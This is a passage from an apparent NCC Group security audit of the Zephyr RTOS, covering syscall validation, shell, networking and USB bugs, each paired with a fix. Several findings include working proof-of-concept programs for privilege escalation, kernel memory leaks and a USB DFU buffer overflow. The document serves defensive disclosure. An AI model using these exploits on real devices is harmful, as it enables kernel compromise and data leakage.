 * pointer is 4.
 */
ptr = opt_data[offset++];
if (ptr < ptr_offset) {
    goto drop;
}
```

In `icmpv4_update_time_stamp`:

```c
/* The Pointer is the number of octets from the beginning of
 * this option to the end of timestamps plus one (i.e., it
 * points to the octet beginning the space for next timestamp).
 * The smallest legal value is 5.  The timestamp area is full
 * when the pointer is greater than the length.
 */
ptr = opt_data[offset++];
if (ptr < ptr_offset) {
    goto drop;
}
```

Finding	**Remote Denial of Service in LwM2M** `do_write_op_tlv`
Risk	**Informational** Impact: Low, Exploitability: Low
Identifier	NCC-ZEP-033
Status	Not Fixed
Category	Data Validation
Component	Zephyr - Network
Location	`zephyr/subsys/net/lib/lwm2m/lwm2m_rw_oma_tlv.c:882` @ b413223a66
Impact	A remote adversary that can inject LwM2M messages is able to cause a denial of service. The risk of this finding is set to *Informational* because LwM2M is a privileged protocol that can also implement commands such as reboot or firmware upgrade, and therefore is not expected to be exposed to the internet.

Description

Zephyr implements support for the LwM2M protocol[55] in order to provide a faculty to manage the device remotely. The protocol defines several operations such as Read, Write, and Execute, and supports multiple Data Formats for encoding the payload, such as Plain Text, TLV, and JSON.

The function `do_write_op_tlv` implements the Write operation for the TLV encoding. During the initial parsing of the data, the function peeks at the incoming message to find out the type of the object contained within:

```
while (true) {
    /*
     * This initial read of TLV data won't advance frag/offset.
     * We need tlv.type to determine how to proceed.
     */
    len = oma_tlv_get(&tlv, &msg->in, true);
    if (len == 0) {
        break;
    }

    if (tlv.type == OMA_TLV_TYPE_OBJECT_INSTANCE) {
        /* ... */
    } else if (tlv.type == OMA_TLV_TYPE_RESOURCE) {
        /* ... */
    }
}
```

If the type of the TLV entry is neither `OMA_TLV_TYPE_OBJECT_INSTANCE`, nor `OMA_TLV_TYPE_RESOURCE`, no processing will be performed. As the initial call to `oma_tlv_get` does not advance the offset within the message buffer, this would mean that the loop never consumes a single byte of the input and runs forever, resulting in a denial of service.

Recommendation

For the case where the type of the TLV entry is not one of the supported types, the `do_write_op_tlv` function should return an error such as `-ENOTSUP`.

[55] Lightweight Machine to Machine Technical Specification

Finding	**Buffer Overflow Vulnerability in** `shell_spaces_trim`
Risk	**Medium** Impact: Medium, Exploitability: Low
Identifier	NCC-ZEP-019
Status	Fixed
Category	Data Validation
Component	Zephyr - Shell
Location	`zephyr/subsys/shell/shell_utils.c` @ `be0f5fe0b0`
Impact	An adversary with physical access to the device is able to cause a memory corruption, resulting in denial of service or possibly code execution within the Zephyr kernel.

Description

Zephyr implements a shell subsystem that is available over the UART when `CONFIG_SHELL` is enabled. The core shell module is responsible for command line parsing and command handler dispatch. Furthermore, there are several optional submodules that implement various shell commands that can be optionally enabled.

In the implementation of the core shell module, `shell_spaces_trim` is used to collapse all repeated space characters to a single space character. This is achieved through skipping repeated spaces and then performing a call to `memmove`, moving the remainder of the string right after the first space character.

```
void shell_spaces_trim(char *str)
{
    u16_t len = shell_strlen(str);
    u16_t shift = 0U;
    /* ... */
    for (u16_t i = 0; i < len - 1; i++) {
        if (isspace((int)str[i])) {
            for (u16_t j = i + 1; j < len; j++) {
                if (isspace((int)str[j])) {
                    shift++;
                    continue;
                }

                if (shift > 0) {
                    /* +1 for EOS */
                    memmove(&str[i + 1], &str[j], len - shift + 1);
                    len -= shift;
                    shift = 0U;
                }
                break;
            }
        }
    }
}
```

The third argument to `memmove`, however, is wrong. Consider a string that ends with two spaces followed by a non-space character. When the function calls `memmove`, the first and second arguments would point near the end of the string, while `shift` (representing the number of repeating spaces less one) would be equal to `1`. The third argument is then equal to the length of the string minus `2`, which when added to either pointer results in an address that is located outside of the string buffer. After `memmove` returns, the memory past the end of the string will be altered.

As `shell_spaces_trim` is called from `shell_wildcard_prepare`, passing in `shell->ctx->temp_buff` as the argument,[56] the total size of the memory corruption is limited by the size of that array,[57] which is `CONFIG_SHELL_CMD_BUFF_SIZE` (256 bytes by default).

Reproduction Steps Execute the following string in the command shell (252 `'a'` characters followed by two spaces followed by a single `'b'` character):

```
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
→ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
→ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
→ aaaaaaaaaaaaaaaaa  b
```

The following error is generated:

```
E: ***** USAGE FAULT *****
E:   Unaligned memory access
E: r0/a1:  0x200002a8  r1/a2:  0x00000001  r2/a3:  0x000050b1
E: r3/a4:  0xa8200002 r12/ip:  0x61616161 r14/lr:  0x00001957
E:  xpsr:  0x0100002f
E: Faulting instruction address (r15/pc): 0x0000488e
E: >>> ZEPHYR FATAL ERROR 0: CPU exception on CPU 0
E: Fault during interrupt handling

E: Current thread: 0x20000324 (unknown)
E: Halting system
```

Depending on the number of space characters and the number of characters entered on either side of these spaces, different areas of memory might end up being corrupted. In memory, the `temp_buff` array is followed by arrays of `k_poll_signal` and `k_poll_event`,[58] both containing pointers to complex structures, a sufficiently advanced adversary might be able to set up the corruption in such a way that it results in code execution.

Recommendation The third argument to `memmove` should be changed to `len - j + 1`. This would ensure that it only touches the remaining bytes of the string, including the NUL terminator.

[56] `zephyr/subsys/shell/shell_wildcard.c:180` @ `be0f5fe0b0`
[57] `zephyr/include/shell/shell.h` @ `be0f5fe0b0`
[58] `zephyr/include/shell/shell.h:558-559` @ `be0f5fe0b0`

Finding	**Shell Thread Runs in Supervisor Mode With** USERSPACE **Enabled**
Risk	**Informational** Impact: Low, Exploitability: Low
Identifier	NCC-ZEP-020
Status	Not Fixed
Category	Configuration
Component	Zephyr - Shell
Location	`zephyr/subsys/shell/shell.c:1224–1228` @ `be0f5fe0b0`
Impact	A vulnerability present in the shell subsystem could allow for a total compromise of the system.
Description	When the USERSPACE configuration option is enabled, Zephyr attempts to isolate potentially untrusted user threads from the kernel. The shell thread is a prime candidate for putting into user space as it performs complex string parsing operations (such as command line parsing and processing of escape sequences) and has quite a large attack surface, as evidenced in NCC-ZEP-019. However, when the shell thread is created, `K_USER` is not passed as an argument to the `k_thread_create` function, and the created shell thread therefore executes in kernel space. As a result, a compromise of the shell thread would lead to a trivial compromise of the whole system.
Recommendation	Investigate the possibility of moving the shell thread to user space. As the shell might perform privileged operations, new system calls might need to be added to accommodate that behavior. At a minimum, it is suggested that complex string parsing operations are performed within an isolated user mode thread.

Finding	**ARM and ARC Platforms Use Signed Integer Comparison When Validating Syscall Numbers**
Risk	**Medium** Impact: High, Exploitability: Medium
Identifier	NCC-ZEP-001
Status	Fixed
Category	Data Validation
Component	Zephyr - Syscall Handlers
Location	• `zephyr/arch/arm/core/aarch32/swap_helper.S:517` @ `be0f5fe0b0` • `zephyr/arch/arc/core/fault_s.S:211` @ `be0f5fe0b0`
Impact	An attacker who has obtained code execution within a user thread is able to elevate privileges to that of the kernel.

Description

Zephyr has a USERSPACE configuration option that, when enabled, enforces user/kernel privilege separation by executing certain functions through system calls. On ARM this is accomplished by using the `SVC` instruction and passing the system call number in `r6`. The exception handler for the `SVC` instruction performs validation of the system call number as follows:

```
#if defined(CONFIG_ARMV6_M_ARMV8_M_BASELINE)
    ldr r3, =K_SYSCALL_LIMIT
    cmp r6, r3
#elif defined(CONFIG_ARMV7_M_ARMV8_M_MAINLINE)
    /* validate syscall limit */
    ldr ip, =K_SYSCALL_LIMIT
    cmp r6, ip
#endif
    blt valid_syscall_id
```

This check, however, uses the `BLT` instruction, which assumes a signed comparison. As a result, a negative system call number would be allowed. Once `z_arm_do_syscall` is entered, the system call is dispatched from the global `k_syscall_table`:

```
dispatch_syscall:
    /* original r0 is saved in ip */
    ldr r0, =_k_syscall_table
    lsls r6, #2
    add r0, r6
    ldr r0, [r0]        /* load table address */
    /* swap ip and r0, restore r1 from lr */
    mov r1, ip
    mov ip, r0
    mov r0, r1
    mov r1, lr
    /* execute function from dispatch table */
    blx ip
```

By setting the system call number to a large negative value, a malicious user thread is able to force the kernel to dereference and execute a controlled function pointer anywhere in memory, resulting in privilege escalation.

The same issue exists on the ARC architecture as the implementation also uses the `BLT` instruction, which assumes a signed comparison.

Reproduction Steps

Compile and execute the following sample ARM Zephyr application with `CONFIG_USERSPACE` and `CONFIG_LOG` enabled.

```
#include <zephyr.h>
#include <sys/printk.h>

static void print_control(const char *s) {
    uint32_t control;
    __asm__ volatile ("mrs %0, CONTROL" : "=r"(control));
    printk("%s - CONTROL: 0x%X\n", s, control);
}

static void user(void *p1, void *p2, void *p3) {
    print_control("user");
    __asm__ volatile (
        "mov r6, %0\n"
        "svc 3\n" :: "r"(-0x10000000) : "r6"
    );
}

void main(void) {
    print_control("kernel");
    k_thread_user_mode_enter(user, NULL, NULL, NULL);
}
```

The following output is observed:

```
*** Booting Zephyr OS build zephyr-v2.1.0-1597-gbe0f5fe0b0be  ***
kernel - CONTROL: 0x2
user - CONTROL: 0x3
E: ***** BUS FAULT *****
E:   Precise data bus error
E:   BFAR Address: 0xc0006140
E: r0/a1:  0x00000000  r1/a2:  0x00000000  r2/a3:  0x00000000
E: r3/a4:  0xf0000000 r12/ip:  0xc0006140 r14/lr:  0x00000907
E:  xpsr:  0xa1000000
E: Faulting instruction address (r15/pc): 0x000019c0
E: >>> ZEPHYR FATAL ERROR 0: CPU exception on CPU 0
E: Current thread: 0x200000e4 (unknown)
E: Halting system
```

While in this example the system crashes immediately, an attacker with knowledge of the system memory layout could prepare syscall arguments in such a way that it results in privilege escalation.

Recommendation

ARM-based Zephyr platforms should use the `BCC` (unsigned lower) instruction after the comparison instead of `BLT` (signed less than).

On ARC platforms, the `BLO` ("Carry set, lower than (unsigned)") instruction should be used after the comparison instead of `BLT` ("Less than (signed)")

Finding	**Integer Overflow in `is_in_region` Allows User Thread to Access Kernel Memory**
Risk	**Medium** Impact: High, Exploitability: Medium
Identifier	NCC-ZEP-005
Status	Fixed
Category	Data Validation
Component	Zephyr - Syscall Handlers
Location	`zephyr/arch/arm/core/aarch32/cortex_m/mpu/nxp_mpu.c:435` @ `be0f5fe0b0`
Impact	This finding allows a malicious user mode application to bypass security checks performed by system call handlers. The impact would depend on the underlying system call and can include denial of service, information leakage, or memory corruption resulting in code execution within the kernel.

Description

Zephyr has a USERSPACE configuration option that, when enabled, enforces user/kernel privilege separation by executing certain functions through system calls. These system calls are expected to validate their arguments to ensure that a malicious user thread is not able to modify resources it is not granted permission to access.

Several commonly-used permission checks are implemented with helper macros, one example being `Z_SYSCALL_MEMORY_READ` and `Z_SYSCALL_MEMORY_WRITE`. Specifically, these check that the pointer passed in by the user thread is located within a memory region that is whitelisted for use by that thread for either a read or write operation. Typically when issuing a system call, if the user thread passes in an invalid pointer, an error is generated.

The macros responsible for user pointer validation are reproduced below:

```
#define Z_SYSCALL_MEMORY_READ(ptr, size) Z_SYSCALL_MEMORY(ptr, size, 0)

#define Z_SYSCALL_MEMORY_WRITE(ptr, size) Z_SYSCALL_MEMORY(ptr, size, 1)
```

```
#define Z_SYSCALL_MEMORY(ptr, size, write) \
    Z_SYSCALL_VERIFY_MSG(arch_buffer_validate((void *)ptr, size, write) \
            == 0, \
            "Memory region %p (size %zu) %s access denied", \
            (void *)(ptr), (size_t)(size), \
            write ? "write" : "read")
```

Notice the call to `arch_buffer_validate` above, which is the platform-specific validation function. On ARM and NXP this function is implemented as follows:

```
int arch_buffer_validate(void *addr, size_t size, int write)
{
    return arm_core_mpu_buffer_validate(addr, size, write);
}
```

Next, `arm_core_mpu_buffer_validate` is implemented differently on ARM and NXP. On NXP the following implementation is used:

```c
int arm_core_mpu_buffer_validate(void *addr, size_t size, int write)
{
    u8_t r_index;

    /* Iterate through all MPU regions */
    for (r_index = 0U; r_index < get_num_regions(); r_index++) {
        if (!is_enabled_region(r_index) ||
            !is_in_region(r_index, (u32_t)addr, size)) {
            continue;
        }
/* ... */
```

The NXP implementation contains an integer overflow within the `is_in_region` function that makes it possible to bypass the pointer address verification:

```c
static inline int is_in_region(u32_t r_index, u32_t start, u32_t size)
{
    u32_t r_addr_start;
    u32_t r_addr_end;

    r_addr_start = SYSMPU->WORD[r_index][0];
    r_addr_end = SYSMPU->WORD[r_index][1];

    /* NCC: Integer overflow in start+size-1 */
    if (start >= r_addr_start && (start + size - 1) <= r_addr_end) {
        return 1;
    }

    return 0;
}
```

By passing in a `start` that is greater or equal to `r_addr_start` and a large `size` (e.g. `0xFFFFFFFF`), it is possible to bypass the check, resulting in the function allowing access to a block of memory that should be inaccessible to the user thread.

On ARM, the same issue exists in `arm_mpu_v7_internal.h`. In that file, the `is_in_region` function is implemented as follows:

```c
static inline int is_in_region(u32_t r_index, u32_t start, u32_t size)
{
    u32_t r_addr_start;
    u32_t r_size_lshift;
    u32_t r_addr_end;

    MPU->RNR = r_index;
    r_addr_start = MPU->RBAR & MPU_RBAR_ADDR_Msk;
    r_size_lshift = ((MPU->RASR & MPU_RASR_SIZE_Msk) >> MPU_RASR_SIZE_Pos) + 1;
    r_addr_end = r_addr_start + (1UL << r_size_lshift) - 1;

    if (start >= r_addr_start && (start + size - 1) <= r_addr_end) {
        return 1;
    }
```

```
    return 0;
}
```

The calculation, `start + size - 1`, can overflow resulting in malicious input bypassing the check.

Reproduction Steps

Compile and execute the following sample application with `CONFIG_USERSPACE`, `CONFIG_LOG` and `CONFIG_LOG_IMMEDIATE` enabled:

```
#include <zephyr.h>
#include <sys/printk.h>
#include <logging/log_core.h>

static void print_control(const char *s) {
    uint32_t control;
    __asm__ volatile ("mrs %0, CONTROL" : "=r"(control));
    printk("%s - CONTROL: 0x%X\n", s, control);
}

static void user(void *p1, void *p2, void *p3) {
    char stack;
    print_control("user");
    z_log_hexdump_from_user(1, "leak", &stack, 0x10000000);
}

void main(void) {
    print_control("kernel");
    k_thread_user_mode_enter(user, NULL, NULL, NULL);
}
```

The following output is observed as `Z_SYSCALL_MEMORY_READ` within `z_vrfy_z_log_hexdump_from_user`[59] generates an error:

```
*** Booting Zephyr OS build zephyr-v2.1.0-1597-gbe0f5fe0b0be  ***
kernel - CONTROL: 0x2
user - CONTROL: 0x3
<err> os: syscall z_vrfy_z_log_hexdump_from_user failed check: Memory region 0x20
→ 000607 (size 268435456) read access denied
<err> os: r0/a1:  0x00000000  r1/a2:  0x00000000  r2/a3:  0x00000000
<err> os: r3/a4:  0x00000000 r12/ip:  0x00000000 r14/lr:  0x00000000
<err> os:  xpsr:  0x00000000
<err> os: Faulting instruction address (r15/pc): 0x00000000
<err> os: >>> ZEPHYR FATAL ERROR 3: Kernel oops on CPU 0
<err> os: Current thread: 0x2000014c (unknown)
<err> os: Halting system
```

Change `0x10000000` to `0xFFFFFFFF` and execute the same program again. Observe how no error is generated and memory contents are dumped over UART.

Recommendation

Change both `is_in_region` functions to check that an overflow does not occur during the computation. An example implementation for NXP is provided below:

[59] zephyr/subsys/logging/log_core.c:1064 @ be0f5fe0b0

```
static inline int is_in_region(u32_t r_index, u32_t start, u32_t size)
{
    u32_t end;
    u32_t r_addr_start;
    u32_t r_addr_end;

    r_addr_start = SYSMPU->WORD[r_index][0];
    r_addr_end = SYSMPU->WORD[r_index][1];

    if (!size || __builtin_add_overflow(start, size - 1, &end))
        return 0;

    if (start >= r_addr_start && end <= r_addr_end) {
        return 1;
    }

    return 0;
}
```

Finding	**Multiple Syscalls in GPIO and kscan Subsystems Perform No Argument Validation**
Risk	**Medium** Impact: High, Exploitability: Medium
Identifier	NCC-ZEP-006
Status	Fixed
Category	Data Validation
Component	Zephyr - Syscall Handlers
Location	• `zephyr/drivers/gpio/gpio_handlers.c` @ `be0f5fe0b0` • `zephyr/drivers/kscan/kscan_handlers.c` @ `be0f5fe0b0`
Impact	An attacker who has obtained code execution within a user thread is able to elevate privileges to that of the kernel.

Description

When CONFIG_USERSPACE is enabled, the system call interface relies on the `z_vrfy_*` family of functions to perform argument validation so that only whitelisted object pointers can be passed in. However, the following functions omit argument validation, and a malicious user thread could pass in arbitrary object pointers and escalate its privileges to those of the kernel:

- `z_vrfy_gpio_disable_callback`
- `z_vrfy_gpio_enable_callback`
- `z_vrfy_gpio_get_pending_int`
- `z_vrfy_kscan_disable_callback`
- `z_vrfy_kscan_enable_callback`

For example, the entry point for the `z_gpio_enable_callback` system call is `z_mrsh_gpio_enable_callback`. This function is auto-generated and calls `z_vrfy_gpio_enable_callback`, which casts `arg0` to a `device` struct and passes it to `z_impl_gpio_enable_callback` without validation. These functions are implemented as follows:

```
/* NCC: The syscall entry point is auto-generated and simply forwards
   the call to z_vrfy_gpio_enable_callback */
uintptr_t z_mrsh_gpio_enable_callback(uintptr_t arg0, uintptr_t arg1,
            uintptr_t arg2, uintptr_t arg3, uintptr_t arg4,
            uintptr_t arg5, void *ssf)
{
    _current_cpu->syscall_frame = ssf;
    (void) arg3;        /* unused */
    (void) arg4;        /* unused */
    (void) arg5;        /* unused */
    int ret = z_vrfy_gpio_enable_callback(*(struct device **)&arg0, *(int*)&arg1,
            *(u32_t*)&arg2);
    return (uintptr_t) ret;
}

/* NCC: This function lacks argument validation
   (it should call Z_SYSCALL_DRIVER_GPIO) */
static inline int z_vrfy_gpio_enable_callback(struct device *port,
                                             int access_op, u32_t pin)
{
```

```
    return z_impl_gpio_enable_callback((struct device *)port, access_op, pin);
}

/* NCC: The underlying implementation of the functionality
   could be tricked into executing an arbitrary function pointer */
static inline int z_impl_gpio_enable_callback(struct device *port,
                                              int access_op, u32_t pin)
{
    const struct gpio_driver_api *api =
            (const struct gpio_driver_api *)port->driver_api;
    if (api->enable_callback == NULL) {
        return -ENOTSUP;
    }
    return api->enable_callback(port, access_op, pin);
}
```

A user thread controlled by an attacker could set up a malicious `device` structure (e.g. on the stack) and pass its address to the system call. As there is no validation, the handler would proceed to execute the attacker-controlled function pointer within the kernel context.

The same vulnerability also affects the other `z_vrfy_gpio_*` and `z_vrfy_kscan_*` functions listed above.

Reproduction Steps

Compile and execute the following sample ARM Zephyr application with `CONFIG_USERSPACE`.

```
#include <zephyr.h>
#include <sys/printk.h>
#include <drivers/gpio.h>

static void print_control(const char *s) {
    uint32_t control;
    __asm__ volatile ("mrs %0, CONTROL" : "=r"(control));
    printk("%s - CONTROL: 0x%X\n", s, control);
}

static void escalate(void) {
    print_control("escalated");
    while (1) {}
}

static void user(void *p1, void *p2, void *p3) {
    struct gpio_driver_api api;
    struct device port;
    print_control("user");
    api.enable_callback = (void*)escalate;
    port.driver_api = &api;
    gpio_enable_callback(&port, 0, 0);
}

void main(void) {
    print_control("kernel");
    k_thread_user_mode_enter(user, NULL, NULL, NULL);
}
```

The following output is observed:

```
*** Booting Zephyr OS build zephyr-v2.1.0-1597-gbe0f5fe0b0be ***
kernel - CONTROL: 0x2
user - CONTROL: 0x3
escalated - CONTROL: 0x2
```

Recommendation The functions z_vrfy_gpio_disable_callback, z_vrfy_gpio_enable_callback, and z_vrfy_gpio_get_pending_int should be changed to perform argument validation using Z_SYSCALL_DRIVER_GPIO:

```
static inline int z_vrfy_gpio_enable_callback(struct device *port,
                                              int access_op, u32_t pin)
{
    Z_OOPS(Z_SYSCALL_DRIVER_GPIO(port, enable_callback));
    return z_impl_gpio_enable_callback((struct device *)port, access_op, pin);
}
#include <syscalls/gpio_enable_callback_mrsh.c>

static inline int z_vrfy_gpio_disable_callback(struct device *port,
                                               int access_op, u32_t pin)
{
    Z_OOPS(Z_SYSCALL_DRIVER_GPIO(port, disable_callback));
    return z_impl_gpio_disable_callback((struct device *)port, access_op, pin);
}
#include <syscalls/gpio_disable_callback_mrsh.c>

static inline int z_vrfy_gpio_get_pending_int(struct device *dev)
{
    Z_OOPS(Z_SYSCALL_DRIVER_GPIO(dev, get_pending_int));
    return z_impl_gpio_get_pending_int((struct device *)dev);
}
#include <syscalls/gpio_get_pending_int_mrsh.c>
```

The functions z_vrfy_kscan_disable_callback and z_vrfy_kscan_enable_callback should be changed to perform argument validation using Z_SYSCALL_DRIVER_KSCAN:

```
static inline int z_vrfy_kscan_disable_callback(struct device *dev);
{
    Z_OOPS(Z_SYSCALL_DRIVER_KSCAN(dev, disable_callback));
    return z_impl_kscan_disable_callback((struct device *)dev);
}
#include <syscalls/kscan_disable_callback_mrsh.c>

static int z_vrfy_kscan_enable_callback(struct device *dev);
{
    Z_OOPS(Z_SYSCALL_DRIVER_KSCAN(dev, enable_callback));
    return z_impl_kscan_enable_callback((struct device *)dev);
}
#include <syscalls/kscan_enable_callback_mrsh.c>
```

Finding	**Socket Submodule's `z_vrfy_zsock_sendmsg` Performs No Argument Verification**
Risk	**Low** Impact: Low, Exploitability: Medium
Identifier	NCC-ZEP-004
Status	Not Fixed
Category	Data Validation
Component	Zephyr - Syscall Handlers
Location	`zephyr/subsys/net/lib/sockets/sockets.c:609` @ `be0f5fe0b0`
Impact	An adversary who has obtained code execution within a user thread is able to reveal the contents of restricted kernel memory.

Description

Zephyr has a USERSPACE configuration option that, when enabled, enforces user/kernel privilege separation by executing certain functions through system calls. The system call interface relies on the `z_vrfy_*` family of functions to perform argument validation so that an untrusted user thread is not able to pass in pointers to objects and memory that it does not have permission to access.

One of the argument validation functions in the socket subsystem, `z_vrfy_zsock_sendmsg`, contains the following TODO comment:

```
static inline ssize_t z_vrfy_zsock_sendmsg(int sock,
                                           const struct msghdr *msg,
                                           int flags)
{
    /* TODO: Create a copy of msg_buf and copy the data there */
    return z_impl_zsock_sendmsg(sock, (const struct msghdr *)msg, flags);
}
```

Notice that the syscall arguments are never sanitized and are forwarded to `z_impl_zsock_sendmsg`, the actual implementation, without any checks being performed. A malicious user can therefore set up a `struct msghdr` object to have IOVs pointing into restricted kernel memory and reveal its contents by e.g. sending it over the network.

Recommendation

To ensure that a malicious user thread cannot trick the kernel into reading memory that the thread should not have access to, the following checks should be implemented:

1. Create a local copy of the `struct msghdr` object on the kernel stack.
2. Ensure that all pointers within the structure are located within user-accessible memory: `msg_name`, `msg_iov`, `msg_control`.
3. Create a local copy of the IOV on the kernel stack.
4. Ensure that all elements of the IOV are pointing into user-accessible memory.

Finding	**Unused System Calls Are Present in the Syscall Table**
Risk	**Informational** Impact: Low, Exploitability: Low
Identifier	NCC-ZEP-010
Status	Not Fixed
Category	Configuration
Component	Zephyr - Syscall Handlers
Location	• `build/zephyr/include/generated/syscall_dispatch.c` (Generated at build time) • `zephyr/scripts/gen_syscalls.py` @ b413223a66
Impact	Unused system calls being available to the application increase the kernel's attack surface and may make it easier for an attacker to escalate privileges from those of a user mode thread to the kernel mode.

Description

User mode threads in a Zephyr application use system calls to communicate with the kernel. A global function pointer table, `_k_syscall_table`, generated by the `gen_syscalls.py` script at build time, is used by the system call exception handler to pass execution to the proper handler.

All system call implementations are weakly aliased to `handler_no_syscall`, and when a specific module is linked in the weak alias is replaced with the actual implementation. Therefore, it is expected that for a simple application the majority of the system call function table would point to `handler_no_syscall`, while only a few of the linked in syscalls would point to their real implementations.

However, this mechanism is not granular enough and when a module, such as GPIO, is enabled, all of GPIO system calls are inserted into the system call table regardless of whether they are actually being used.

As Zephyr currently does not support loading applications at runtime, it is possible to accurately populate the syscall table using a strict compile-time decision that only includes the syscalls that are used by the application. Such a granular system call elimination would help harden Zephyr against privilege escalation attacks, such as NCC-ZEP-006.

Reproduction Steps

Compile `zephyr/samples/hello_world` with the following additional options:

```
CONFIG_USERSPACE=y
CONFIG_GPIO=y
```

Obtain the value of an example syscall that is not being used by the application:

```
$ grep K_SYSCALL_GPIO_CONFIG build/zephyr/include/generated/syscall_list.h
#define K_SYSCALL_GPIO_CONFIG 62
```

Use GDB to confirm that all of the GPIO system calls are present in the syscall table, regardless of whether they are used by the hello world application:

```
$ gdb-multiarch ./build/zephyr/zephyr.elf
(gdb) x/5a &_k_syscall_table[62]
0x5668 <_k_syscall_table+248>:  0x20cd <z_mrsh_gpio_config>
```

```
                                  0x21e1 <z_mrsh_gpio_disable_callback>
                                  0x21c1 <z_mrsh_gpio_enable_callback>
                                  0x2201 <z_mrsh_gpio_get_pending_int>
0x5678 <_k_syscall_table+264>:  0x215d <z_mrsh_gpio_read>
```

Recommendation This recommendation is suggested purely as a matter of defense in depth as a means of reducing the kernel attack surface that is available to an attacker who has compromised a user mode thread. NCC Group proposes that unused system calls should be stripped out of the system call table, perhaps as an additional step that takes place during compile time.

Finding	**USB DFU Mode Can Overflow a Global Buffer in the** `DFU_UPLOAD` **Command**
Risk	**High** Impact: High, Exploitability: High
Identifier	NCC-ZEP-002
Status	Fixed
Category	Data Validation
Component	Zephyr - USB
Location	`zephyr/subsys/usb/class/usb_dfu.c:503–523` @ b413223a66
Impact	An adversary with physical access to a Zephyr device can induce a denial of service or possibly achieve code execution within the kernel.

Description

Zephyr includes a USB DFU driver that can handle local firmware updates over USB. MCUboot is one of the users of this driver and has an option to wait for DFU communications on boot. In the DFU driver, a buffer overflow issue is present in the implementation of the `DFU_UPLOAD` command.

When the `DFU_UPLOAD` command is received by the `dfu_class_handle_req` function, the length of the response is calculated using the attacker-controlled `pSetup` packet as follows:

```
/* Upload in progress */
bytes_left = dfu_data.flash_upload_size - dfu_data.bytes_sent;
if (bytes_left < pSetup->wLength) {
    len = bytes_left;
} else {
    len = pSetup->wLength;
}
```

Notice how the maximum value allowed by this check is `bytes_left`. However, `bytes_left` is the amount of data not yet uploaded from the flash, which during the first message from the USB host would be equal to the total size of the firmware flash partition and can range in size from tens of kilobytes to several megabytes, depending on the device and configuration. The calculated `len` value is then used to read data out of flash memory into an output buffer:

```
ret = flash_area_read(fa, dfu_data.bytes_sent, *data, len);
```

The `data` variable is passed to `dfu_class_handle_req` by the USB stack through a complex sequence of function calls (not shown for brevity) and it ends up pointing to `usb_dev.req_data`. This is a global array of size `CONFIG_USB_REQUEST_BUFFER_SIZE` (128 bytes by default),[60] and as such passing a `wLength` larger than 128 would cause a global buffer overflow.

While the data being loaded into the buffer is obtained from the flash memory, an attacker could control the contents by first downloading their payload into the internal flash memory (using the same USB DFU interface), and then triggering the issue described above using an UPLOAD command.

The exploitability of the issue would also depend on the memory layout of the specific Zephyr build (specifically the location of `usb_dev` in relation to other vital data structures), which will differ based on the hardware and configuration options. In our tests on a Freedom K64F

[60] `zephyr/subsys/usb/usb_device.c:158` @ b413223a66

board,[61] it was observed that the overrun buffer was followed by the `dfu_event` global,[62] which stores a `struct _poller`[63] object, which contains a callback function pointer.[64] An overwrite of this function pointer would make code execution possible, however we did not develop a full exploit beyond the proof of concept below.

Reproduction Steps

Compile and flash MCUboot with USB DFU enabled (`CONFIG_BOOT_WAIT_FOR_USB_DFU=y`, `CONFIG_USB_DEVICE_STACK=y`). When the device boots, DFU mode is automatically activated. Then, execute the following Python script on the host with the device connected to the host machine over USB:

```python
#!/usr/bin/python3
import usb.core
import time
import os
import fcntl

DFU_DETACH = 0
DFU_UPLOAD = 2

def main():
    dev = usb.core.find(idVendor=0x2fe3, idProduct=0x0100)
    if dev is None:
        raise RuntimeError("device not found")

    dev.ctrl_transfer(0xA1, DFU_DETACH, 0, 0)

    print("Resetting...")
    try:
        dev.reset()
    except usb.core.USBError:
        pass

    time.sleep(1)

    # takes a few tries for the kernel to accept the device after reset
    # make sure to plug in directly instead of going through a usb hub
    while True:
        dev = usb.core.find(idVendor=0x2fe3, idProduct=0x0100)
        if dev is not None:
            break
        time.sleep(1)

    print("OK, device reset!")

    # 0x1000 length triggers buffer overflow
    # this will also throw an exception as the device fails to respond
    dev.ctrl_transfer(0xA1, DFU_UPLOAD, 0, 0, 0x1000)


if __name__ == "__main__":
    main()
```

[61] https://docs.zephyrproject.org/latest/boards/arm/frdm_k64f/doc/index.html
[62] `zephyr/subsys/usb/class/usb_dfu.c:72` @ b413223a66
[63] `zephyr/include/kernel.h:4582` @ b413223a66
[64] `zephyr/include/kernel.h:2712` @ b413223a66

The following output is observed on the device:

```
<err> os: ***** BUS FAULT *****
<err> os:   Imprecise data bus error
<err> os: r0/a1:  0x200005f0  r1/a2:  0x00000000  r2/a3:  0x200076e0
<err> os: r3/a4:  0xffffffff r12/ip:  0x00000001 r14/lr:  0x000039f9
<err> os:  xpsr:  0xa1000000
<err> os: Faulting instruction address (r15/pc): 0x00007a38
<err> os: >>> ZEPHYR FATAL ERROR 0: CPU exception on CPU 0
<err> os: Current thread: 0xffffffff (unknown)
<err> os: Halting system
```

Recommendation

In `dfu_class_handle_req`, check that the provided `pSetup->wLength` value is not greater than `CONFIG_USB_REQUEST_BUFFER_SIZE`.

```
/* Upload in progress */
bytes_left = dfu_data.flash_upload_size - dfu_data.bytes_sent;
if (bytes_left < pSetup->wLength) {
    len = bytes_left;
} else {
    len = pSetup->wLength;
}
if (len > CONFIG_USB_REQUEST_BUFFER_SIZE) {
    len = CONFIG_USB_REQUEST_BUFFER_SIZE;
}
```

Finding **Arbitrary Read and Limited Write in the USB Mass Storage Driver**

Risk **High** Impact: Medium, Exploitability: Medium

Identifier NCC-ZEP-024

Status Fixed

Category Data Validation

Component Zephyr - USB

Location
- `zephyr/subsys/usb/class/mass_storage.c` @ `be0f5fe0b0`
- `zephyr/subsys/disk/disk_access_ram.c` @ `be0f5fe0b0`

Impact An attacker with physical access to the device is able to disclose kernel memory contents and obtain code execution within the kernel.

Description The USB mass storage driver enables a Zephyr device to act as an external USB storage drive. The RAM disk implementation of the USB mass storage driver presents a scratch filesystem image, implemented within Zephyr RAM, to the host. The code in `mass_storage.c` is responsible for processing SCSI commands sent over USB and responding to them while the code in `disk_access_ram.c` implements the underlying RAM storage.

